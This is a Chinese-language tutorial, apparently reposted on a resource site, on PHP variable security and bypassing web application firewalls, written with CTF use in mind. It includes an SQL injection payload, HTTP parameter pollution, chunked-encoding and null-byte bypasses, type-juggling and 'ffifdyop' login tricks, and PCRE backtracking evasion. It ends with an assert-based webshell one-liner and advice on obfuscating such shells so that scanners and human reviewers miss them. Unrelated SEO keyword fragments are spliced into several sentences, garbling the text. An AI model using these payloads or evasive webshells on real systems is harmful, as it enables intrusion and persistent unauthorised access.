摘要
變量安全是PHP安全的重要部分,本文系統地分析了一個變量的“人生之旅”中存在哪些安全問題。變量的人生之路:傳入參數-->變量生成-->變量處理->變量儲存。
一次聲明多個變量php?Part1 傳入參數
傳參是一個從前臺通過GET或者POST方法傳遞參數的過程,在這里我們往往會遇到URL-WAF的安全判斷。URL-WAF指的是對請求的URL進行一系列正則匹配進行判斷的功能。
一,傳參時使用畸形的HTTP方法,很多WAF只檢查POST或者GET方法ABCDEFG /lab_value/get.php?num_value=hhh ?HTTP/1.1
php變量賦值。GET /lab_value/get.php?num_value=hhh ?HTTP/1.1
上面兩者是等效的,填HTTP方法的地方可以填任意非保留字。如下圖所示。
二, 傳參的正則匹配bypass:URL-WAF往往具有一些通病
PHP定義變量。(1).HPP參數污染。部分WAF在檢查重復參數的時候,常常只檢查第一個,我們可以通過重復傳參bypass,如/?password=admin&&pasword=’ order by 1--+ 但要注意只有解析PHP的中間件才會把最后一個參數覆蓋之前的參數(重復參數,如上面的例子)。
(2).截斷繞過。
①長度截斷:部分WAF在檢查URL參數的時候,為了節約資源,往往會截取一定長度的參數進行安全檢查,而忽略后面的參數。
php的變量類型、②終止符截斷。部分WAF遇到%00會判定參數讀取完成,只檢查部分內容。
數據分裂繞過。
(3).URL-WAF往往對每一個請求單獨檢查或在連續但分次的請求只檢查第一次。
①利用分塊編碼傳輸繞過。當消息體的頭(header)存在Transfer-Encoding:chunked時,代表使用了分塊編碼傳輸,可以將幾次請求合并。
消息體由數量未定的塊組成,每一個非空的塊都以該塊包含數據的字節數(字節數以十六進制表示)開始,跟隨一個CRLF (回車及換行),然后是數據本身,最后塊CRLF結束。最后一塊是單行,由塊大小(0),一些可選的填充白空格,以及CRLF。最后一塊不再包含任何數據,但是可以發送可選的尾部,包括消息頭字段。消息最后以CRLF結尾。
②利用pipline繞過。當消息體的頭存在Connection:keep-alive時,代表本次請求建立的連接在Connection的值改為close前不會中斷。注意要關閉burpsuit的repeater模塊的Content-Length自動更新。
三,傳參的數據類型匹配bypass:傳入的變量類型出乎意料
對于$_GET[‘num_value’](并且$_POST[‘num_value’]也是同理)來說,并不是只有/?num_value=xxx作為合法有效的參數傳遞格式。PHP接受參數時會對得到的參數名進行一定變換。輸入的內容(傳入時會url編碼)PHP解析出的變量名
空格num_valuenum_value
num[value (這里必須左,右會報錯)num_value
num.valuenum_value
Num_value(大小寫敏感)報錯
num valuenum_value
num_valuenum_value
如果輸入/?num_value[]=xxx 也是合法的,但是數據類型與上方清一色的string不同,傳入一個數組。在ctf里常利用這一點,因為md5(數組)==0。
四,傳參時的編碼問題
(1).源代碼存在文件操作函數時,url解碼兩次,此時可以兩次編碼urlencode。(如%27變為%25%27)
(2).Url解碼時,如果遇到%+字母,會自動過濾%。如果傳入sel%ect,解碼得到select。
(3).Base64解碼時,如果字符數量不是三倍數,會無法解碼拋出錯誤。
Part2?變量生成
傳入參數后,php會根據一定規則生成變量。
(1).服務器使用REQUEST獲取參數,它可以通過POST和GET同時發包繞過部分WAF。
(2).服務器使用extract( )函數,把得到的變量中的鍵與值生成對應變量,可能會導致變量覆蓋,從而造成安全問題。Ctf常用來覆蓋白名單。
(3).變量名加上[]傳入數組,繞過關于md5函數的一些檢查。
如md5(aaa[])===md5(bbb[])
(4).反序列化。服務器使用unserialize( )函數處理參數,實例化成一個對象。這里要提到一個PHP關于變量生成的特殊性質。Var_dump(“\x66\x6c\x61\x67”==”flag”); // 輸出是bool(ture)
同樣的,反序列化
O:5”Guess”:1:{s:3:”key”;s:16:”\x66\x6c\x61\x67”;}
與反序列化
O:5”Guess”:1:{s:3:”key”;s:16:”flag”;}
沒有區別
\x66是字符串的ascii值的十六進制形式在前加上\x,可以用下面的腳本生成<?php
$string = 'flag';
//在這里輸入要處理的字符串
$arr = str_split(bin2hex($string), 2);
foreach ($arr as $value) {
print('\x'.$value);
}
//結果是 \x66\x6c\x61\x67
?>
(5).跟4的原理有相似之處。md5(xxx,ture)會輸出一個16位的二進制數據,這個二進制數據也有機會被php解碼。所以xxx是ffifdyop時,會被php認為類似于萬能密碼’ or 1=1
(實際上有一點區別,后面不是1=1,但是也是TURE)
Part3?變量處理
生成一個變量后,PHP無非就是進行三種處理——變量比較,正則匹配,反序列化,下面我們來逐個分析。(反序列化本篇暫且不提,以后專門講)
一,變量比較
PHP的弱類型自誕生以來就不斷遭人詬病。PHP有兩種比較是否相等的符號,分別是"=="和"===",前者只比較值是否相等,當不同類型互相比較會自動轉型,安全問題就發生在這里,后者先比較類型,再比較值,對類型不同的比較返回false。
如下表:var_dump("abcd"==0); //true
var_dump("1abcd"==1);//true
var_dump("abcd1"==1) //false 字符串和數字比較,比較前面的同類型部分
var_dump(abdc1==0) ? //true 但是同時會報錯
var_dump(abdc1==1) ? //false 但是同時會報錯
var_dump(False==0) ?//true
var_dump("abcd1"==0) //true
var_dump("0e123456789"=="0e888888") //true php把0e開頭解釋為科學計數法,為0
不過,字符串和布爾值不能比較
二,正則匹配
(1).異或繞過
PHP有一個神奇的特性,異或。異或本身并不是神奇的東西,但是PHP可以讓字符串以ascii編碼進行異或
異或的簡單規則:如果a、b兩個值不相同,那么異或結果為1。如果a、b兩個值相同,那么異或結果為0。 ?比較兩邊只能有一個為true時才返回為true否則返回false。字母與數字(類似int整形的真正的數字)異或結果是原數字,不帶引號的字母會被認為是字符串。3 xor 2==1
2 xor 2==0
'`'^'*'=='J' (ascii編碼異或)
a^2==2 (但會報錯)
附上一個python腳本
def xor():
for x in range(0,127):
for y in range(0,127):
z=x^y
print(" ?"+chr(x)+"ascii:"+str(x)+' xor '+chr(y)+" ascii:"+str(y)+' == '+chr(z)+" ascii:"+str(z))
//復制粘貼要注意這里和上一行是同一行,不然報錯
if __name__ == "__main__":
xor()
下面是一個簡單的例子。
(2).pcre回溯次數繞過
PHP的正則表達式中,匹配模式帶有通配符(例如*或者?)就有可能發生回溯。通配符*前面和后面存在其他匹配要求,就容易引起回溯,正則表達式每一個符號都會匹配完整個字符串,匹配得出的臨時結果讓下一個正則匹配符號再次匹配完整個字符串。
比如/^<.>/,它會匹配一個html標簽里面的內容。當我們輸入bcdefg用于匹配時,開始匹配,發現行末后面沒有字符串就開始回溯,匹配g,發現不對,在臨時結果中去掉g,繼續回溯,匹配f,不對,回溯,如此反復得到>,匹配出終極結果。當bcdefg達到一百萬個時,PHP不會繼續回溯,就跳過了匹配返回false,從而繞過正則。PHP為了避免這種問題,提出了新的語句規范,正則匹配如果是未匹配到字符,會返回0,回溯次數太多,返回false。使用===比較結果,就不會繞過if判斷。
Part4 變量儲存
一個變量有時候在處理完還有最后一步,儲存(入土)。儲存之后,依舊會有WAF來檢查有沒有威脅(詐尸)。但無無論如何,現在的儲存檢查都是靜態檢查,所以繞過起來并不困難。(即使是D盾)
一,靜態繞過
(1).命名空間的利用貼一段PHP中文手冊內容
namespace A;
use B\D, C\E as F;
// 函數調用
foo(); ? ? ?// 首先嘗試調用定義在命名空間"A"中的函數foo()
// 再嘗試調用全局函數 "foo"
\foo(); ? ? // 調用全局空間函數 "foo"
my\foo(); ? // 調用定義在命名空間"A\my"中函數 "foo"
F(); ? ? ? ?// 首先嘗試調用定義在命名空間"A"中的函數 "F"
// 再嘗試調用全局函數 "F"
// 類引用
new B(); ? ?// 創建命名空間 "A" 中定義的類 "B" 的一個對象
// 如果未找到,則嘗試自動裝載類 "A\B"
new D(); ? ?// 使用導入規則,創建命名空間 "B" 中定義的類 "D" 的一個對象
// 如果未找到,則嘗試自動裝載類 "B\D"
new F(); ? ?// 使用導入規則,創建命名空間 "C" 中定義的類 "E" 的一個對象
// 如果未找到,則嘗試自動裝載類 "C\E"
new \B(); ? // 創建定義在全局空間中的類 "B" 的一個對象
// 如果未發現,則嘗試自動裝載類 "B"
new \D(); ? // 創建定義在全局空間中的類 "D" 的一個對象
// 如果未發現,則嘗試自動裝載類 "D"
new \F(); ? // 創建定義在全局空間中的類 "F" 的一個對象
// 如果未發現,則嘗試自動裝載類 "F"
// 調用另一個命名空間中的靜態方法或命名空間函數
B\foo(); ? ?// 調用命名空間 "A\B" 中函數 "foo"
B::foo(); ? // 調用命名空間 "A" 中定義的類 "B" 的 "foo" 方法
// 如果未找到類 "A\B" ,則嘗試自動裝載類 "A\B"
D::foo(); ? // 使用導入規則,調用命名空間 "B" 中定義的類 "D" 的 "foo" 方法
// 如果類 "B\D" 未找到,則嘗試自動裝載類 "B\D"
\B\foo(); ? // 調用命名空間
"B" 中的函數 "foo"
\B::foo(); ?// 調用全局空間中的類 "B" 的 "foo" 方法
// 如果類 "B" 未找到,則嘗試自動裝載類 "B"
// 當前命名空間中的靜態方法或函數
A\B::foo(); ? // 調用命名空間 "A\A" 中定義的類 "B" 的 "foo" 方法
// 如果類 "A\A\B" 未找到,則嘗試自動裝載類 "A\A\B"
\A\B::foo(); ?// 調用命名空間 "A\B" 中定義的類 "B" 的 "foo" 方法
// 如果類 "A\B" 未找到,則嘗試自動裝載類 "A\B"
?>
靜態檢查儲存的變量(比如小馬),回調函數加上一個命名空間一般都可以繞過,手冊內容太多,一般面對百分之九十的WAF,在回調函數前面加一個\就完事了。
(2).自定義函數
利用自定義函數對字符串或者函數名進行拼接,刪改,替換,除了繞過WAF,更有一些優秀的危險代碼可以繞過人,比如對代碼后面的空格統計數量轉化成字符。
這里附上一個簡單的自定義函數,萬法歸一,都是類似的。<?php
function x($a,$b){
call_user_func_array($a,$b);
}
x(‘assert’,array($_POST[‘a’]));
//甚至對于assert這個關鍵字也可以用變量再次拼接 $y=’a’+’ssert’;
?>
除了把保留函數二次調用,也可以通過自建加密函數來做到類似效果,只要把靜態化為動態就可以躲避掃描。
結尾
第一次發稿,謝謝審核大大指出排版問題,謝謝大家的支持。
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态